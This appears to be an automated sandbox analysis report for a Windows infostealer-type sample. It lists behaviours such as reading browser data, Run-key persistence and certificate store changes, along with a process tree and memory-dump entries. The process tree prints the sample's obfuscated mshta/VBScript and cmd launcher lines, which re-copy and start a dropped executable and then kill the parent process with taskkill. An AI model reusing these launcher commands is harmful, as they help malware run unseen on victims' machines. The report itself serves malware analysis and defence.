Analysis

  • max time kernel
    139s
  • max time network
    26s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11/09/2021, 18:51

General

  • Target
    c94495cf042b2415ca1aa23282094982.exe
  • Size 134KB
  • Sample210911-xhhb7aefgp
  • SHA256 9532095cf936beca817c76c65d6cfe9a3153e5b8e6337b767207c8b37b39cfa6
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c94495cf042b2415ca1aa23282094982.exe
    "C:\Users\Admin\AppData\Local\Temp\c94495cf042b2415ca1aa23282094982.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\ProgramData\5747606.exe
      "C:\ProgramData\5747606.exe"
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1712 -s 1884
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:540
    • C:\ProgramData\6213421.exe
      "C:\ProgramData\6213421.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:528
      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        3⤵
        • Executes dropped EXE
        PID:1180
    • C:\ProgramData\3338934.exe
      "C:\ProgramData\3338934.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" VbScRIpt: CLOSE (CrEATEoBJeCT( "wsCrIPt.SHell" ). rUn( "C:\Windows\system32\cmd.exe /Q /C TYPE ""C:\ProgramData\3338934.exe"" > uIA5.eXE && STaRt UiA5.eXe /P0NTOdcYDlh~kX43m7& if """" == """" for %D in ( ""C:\ProgramData\3338934.exe"" ) do taskkill /Im ""%~NxD"" /f " , 0 , TRuE) )
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:300
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /Q /C TYPE "C:\ProgramData\3338934.exe" > uIA5.eXE && STaRt UiA5.eXe /P0NTOdcYDlh~kX43m7& if "" == "" for %D in ( "C:\ProgramData\3338934.exe" ) do taskkill /Im "%~NxD" /f
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /Im "3338934.exe" /f
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:960
          • C:\Users\Admin\AppData\Local\Temp\uIA5.eXE
            UiA5.eXe /P0NTOdcYDlh~kX43m7
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\System32\mshta.exe" VbScRIpt: CLOSE (CrEATEoBJeCT( "wsCrIPt.SHell" ). rUn( "C:\Windows\system32\cmd.exe /Q /C TYPE ""C:\Users\Admin\AppData\Local\Temp\uIA5.eXE"" > uIA5.eXE && STaRt UiA5.eXe /P0NTOdcYDlh~kX43m7& if ""/P0NTOdcYDlh~kX43m7"" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\uIA5.eXE"" ) do taskkill /Im ""%~NxD"" /f " , 0 , TRuE) )
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:696
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /Q /C TYPE "C:\Users\Admin\AppData\Local\Temp\uIA5.eXE" > uIA5.eXE && STaRt UiA5.eXe /P0NTOdcYDlh~kX43m7& if "/P0NTOdcYDlh~kX43m7" == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\uIA5.eXE" ) do taskkill /Im "%~NxD" /f
                7⤵
                  PID:1652
              • C:\Windows\SysWOW64\rundll32.exe
                "C:\Windows\System32\rundll32.exe" MVqJ65P._,hfmnID
                6⤵
                • Loads dropped DLL
                PID:1756
      • C:\ProgramData\3804749.exe
        "C:\ProgramData\3804749.exe"
        2⤵
        • Executes dropped EXE
        PID:1480

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/528-78-0x0000000000370000-0x0000000000374000-memory.dmp

          memory/528-75-0x00000000012E0000-0x00000000012E1000-memory.dmp

          memory/540-119-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

          memory/540-123-0x00000000022F0000-0x00000000022F1000-memory.dmp

          memory/1180-91-0x0000000001270000-0x0000000001271000-memory.dmp

          memory/1180-96-0x0000000001220000-0x0000000001221000-memory.dmp

          memory/1480-86-0x0000000001060000-0x0000000001061000-memory.dmp

          memory/1484-81-0x0000000075D51000-0x0000000075D53000-memory.dmp

          memory/1612-65-0x000000001AD20000-0x000000001AD22000-memory.dmp

          memory/1612-64-0x00000000002A0000-0x00000000002A1000-memory.dmp

          memory/1612-62-0x00000000001D0000-0x00000000001D1000-memory.dmp

          memory/1612-63-0x0000000000280000-0x000000000029B000-memory.dmp

          memory/1612-60-0x00000000001E0000-0x00000000001E1000-memory.dmp

          memory/1712-71-0x0000000000160000-0x000000000017E000-memory.dmp

          memory/1712-69-0x0000000000B40000-0x0000000000B41000-memory.dmp

          memory/1712-77-0x000000001B0E0000-0x000000001B0E2000-memory.dmp

          memory/1756-114-0x0000000001EF0000-0x00000000020A1000-memory.dmp

          memory/1756-115-0x00000000000C0000-0x00000000000C1000-memory.dmp

          memory/1756-116-0x0000000002EF0000-0x0000000003037000-memory.dmp

          memory/1756-117-0x0000000003100000-0x00000000031B4000-memory.dmp

          memory/1756-120-0x00000000020B0000-0x000000000215E000-memory.dmp

          memory/1756-121-0x00000000031C0000-0x000000000325A000-memory.dmp